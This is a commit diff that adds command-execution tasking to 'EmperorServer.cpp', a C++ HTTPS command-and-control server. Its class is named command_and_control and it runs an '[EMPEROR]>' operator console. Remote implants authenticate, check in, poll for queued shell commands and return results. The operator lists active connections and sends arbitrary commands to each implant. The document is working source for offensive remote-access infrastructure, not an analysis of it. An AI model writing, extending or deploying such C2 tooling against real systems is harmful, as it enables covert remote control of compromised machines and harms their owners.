Added command execution functionality

EmperorServer.cpp

@@ -3,70 +3,114 @@
 #include <fstream>
 #include <vector>
 #include <thread>
+#include <map>
+#include <string>
+#include <regex>
 
-// GLOBALS
+//GLOBALS
-httpserver::webserver ws = httpserver::create_webserver(8665)
+bool bIncomingHey = false;
-  .use_ssl()
+std::string sIncomingHeyUser; 
-  .https_mem_key("server.key")
+bool bShutdown = false;
-  .https_mem_cert("server.crt");
+
+std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
+{
+  std::vector<std::vector<std::string>> sCreds;
+  std::vector<std::string> sUsernames;
+  std::vector<std::string> sPasswords;
+  std::fstream fCreds;
+  fCreds.open("creds", std::ios::in);
+  char ch;
+  bool bUsername = true;
+  std::string sUsername = "";
+  std::string sPassword = "";
+
+  while (true)
+  {
+    fCreds >> ch;
+
+    if (fCreds.eof())
+    {
+      sPasswords.push_back(sPassword);
+      break;
+    }
+
+    if (ch == ':')
+    {
+      bUsername = false;
+      fCreds >> ch;
+      sUsernames.push_back(sUsername);
+      sUsername = "";
+    }
+
+    if (ch == '\n')
+    {
+      bUsername = true;
+      fCreds >> ch;
+      sPasswords.push_back(sPassword);
+      sPassword = "";
+    }
+
+    if (bUsername)
+    {
+      sUsername += ch;
+    }
+    else
+    {
+      sPassword += ch;
+    }
+  }
+  
+  sCreds.push_back(sUsernames);
+  sCreds.push_back(sPasswords);
+  return sCreds;
+}
+
+std::vector<std::vector<std::string>> sCreds = retrievecreds("creds");
+
+std::map<std::string,bool> defaultUserConnections(std::vector<std::vector<std::string>>sCreds)
+{
+  std::map<std::string,bool> mConnections;
+  for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
+  {
+    mConnections[sCreds[0][iUsernameIndex]] = false;
+  }
+  return mConnections;
+}
+
+std::map<std::string,std::string> defaultUserComms(std::vector<std::vector<std::string>>sCreds)
+{
+  std::map<std::string,std::string> mComms;
+  for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
+  {
+    mComms[sCreds[0][iUsernameIndex]] = "";
+  }
+  return mComms;
+}
+
+std::map<std::string,std::string> mCommands = defaultUserComms(sCreds);
+
+std::map<std::string,std::string> mResults = defaultUserComms(sCreds);
+
+std::string listUserConnections(std::map<std::string,bool> mConnections)
+{
+  std::ostringstream oss;
+  for (auto const& [key, val] : mConnections)
+  {
+    if (val == true)
+    {
+      oss << key << " is active.\n";
+    }
+  }
+  std::string sConnections = oss.str();
+  return sConnections;
+}
+
+std::map<std::string,bool> mConnections = defaultUserConnections(sCreds);
 
 class command_and_control : public httpserver::http_resource
 {
   public:
-    std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
+    bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername, std::string sPassword)
-    {
-      std::vector<std::vector<std::string>> sCreds;
-      std::vector<std::string> sUsernames;
-      std::vector<std::string> sPasswords;
-      std::fstream fCreds;
-      fCreds.open("creds", std::ios::in);
-      char ch;
-      bool bUsername = true;
-      std::string sUsername = "";
-      std::string sPassword = "";
-
-      while (true)
-      {
-        fCreds >> ch;
-
-        if (fCreds.eof())
-        {
-          sPasswords.push_back(sPassword);
-          break;
-        }
-
-        if (ch == ':')
-        {
-          bUsername = false;
-          fCreds >> ch;
-          sUsernames.push_back(sUsername);
-          sUsername = "";
-        }
-
-        if (ch == '\n')
-        {
-          bUsername = true;
-          fCreds >> ch;
-          sPasswords.push_back(sPassword);
-          sPassword = "";
-        }
-
-        if (bUsername)
-        {
-          sUsername += ch;
-        }
-        else
-        {
-          sPassword += ch;
-        }
-      }
-      
-      sCreds.push_back(sUsernames);
-      sCreds.push_back(sPasswords);
-      return sCreds;
-    }
-
-    bool verifycreds(std::vector<std::vector<std::string>>sCreds, std::string sUsername, std::string sPassword)
     {
       for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
       {
@@ -84,23 +128,85 @@ class command_and_control : public httpserver::http_resource
       return false;
     }
 
-    std::vector<std::vector<std::string>>sCreds = retrievecreds("creds");
-
     const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request& req) 
     {
       if (verifycreds(sCreds, req.get_user(), req.get_pass()))
       {
-        return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Authenticated"));
+        if (req.get_method() == "POST")
+        {
+          if (req.get_arg("msg") == "ready")
+          {
+            std::ostringstream oss;
+            oss << "user=" << req.get_user() << "&msg=acknowledged";
+            std::string sResponse = oss.str();
+            bIncomingHey = true;
+            sIncomingHeyUser = req.get_user();
+            mConnections[req.get_user()] = true;
+            return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
+          }
+          if (req.get_arg("msg") == "reqcmd")
+          {
+            if (mCommands[req.get_user()] != "")
+            {
+              std::ostringstream oss;
+              oss << "run=" << mCommands[req.get_user()];
+              return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));
+            }
+            else
+            {
+              return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd"));
+            }
+          }
+          if (req.get_arg("result") != "")
+          {
+            mCommands[req.get_user()] = "";
+            mResults[req.get_user()] = req.get_arg("result");
+            std::ostringstream oss;
+            oss << "user=" << req.get_user() << "&msg=acknowledged";
+            std::string sResponse = oss.str();
+            return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
+          }
+        }
       }
       return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Not found"));
     }
 };
 
-void startserver()
+void checkConnections()
 {
-  command_and_control c2;
+  while (!bShutdown)
-  ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);
+  {
-  ws.start(false);
+    if (bIncomingHey)
+    {
+      std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush;
+      bIncomingHey = false;
+      sIncomingHeyUser = "";
+    }
+  }
+}
+
+void interactConnection(std::string sIdentifier)
+{
+  std::string sCommand;
+  std::cout << "Starting interaction with " << sIdentifier << std::endl;
+  while (true)
+  {
+    std::cout << "[EMPEROR - " << sIdentifier << "]>";
+    std::getline(std::cin, sCommand);
+
+    if (sCommand == ":q")
+    {
+      break;
+    }
+    mCommands[sIdentifier] = sCommand;
+    std::cout << "Command sent, awaiting response..." << std::endl;
+    while (mResults[sIdentifier].empty())
+    {
+      continue;
+    }
+    std::cout << "Result: " << mResults[sIdentifier] << std::endl;
+    mResults[sIdentifier] = "";
+  }
 }
 
 void prompt()
@@ -132,21 +238,51 @@ void prompt()
             <,--''`.._>8888(                        
              `>__...--' `''`    )" << std::endl;
   std::cout << "=========================================" << std::endl;
-  std::string command;
+  std::string sCommand;
-
   while (true)
   {
     std::cout << "[EMPEROR]>";
-    std::cin >> command;
+    std::getline(std::cin, sCommand);
+    std::regex rConnect("connect ");
 
-    if (command == "sessions")
+    if (sCommand == "connections")
     {
-      std::cout << "No sessions currently active" << std::endl;
+      std::cout << listUserConnections(mConnections);
     }
 
-    if (command == "q" || command == "quit" || command == "exit")
+    if (std::regex_search(sCommand, rConnect))
     {
-      ws.stop();
+      std::vector<std::string> sCommands;
+      std::string sSplit;
+      for (int i = 0; i < sCommand.length(); i++)
+      {
+        if (sCommand[i] == ' ')
+        {
+          sCommands.push_back(sSplit);
+          if (sCommands.size() > 2)
+          {
+            break;
+          }
+          sSplit = "";
+        }
+        else
+        {
+          sSplit.push_back(sCommand[i]);
+          if (i == (sCommand.length() - 1))
+          {
+            sCommands.push_back(sSplit);
+          }
+        }
+      }
+      if (mConnections[sCommands[1]])
+      {
+        interactConnection(sCommands[1]);
+      }
+    }
+
+    if (sCommand == "q" || sCommand == "quit" || sCommand == "exit")
+    {
+      bShutdown = true;
       break;
     }
   }
@@ -154,7 +290,15 @@ void prompt()
 
 int main (int argc, char** argv) 
 {
-  startserver();
+  command_and_control c2;
+  httpserver::webserver ws = httpserver::create_webserver(8665)
+    .use_ssl()
+    .https_mem_key("server.key")
+    .https_mem_cert("server.crt");
+  ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);
+  ws.start(false);
+  std::thread tCheck(checkConnections);
   prompt();
+  tCheck.join();
   return 0;
 }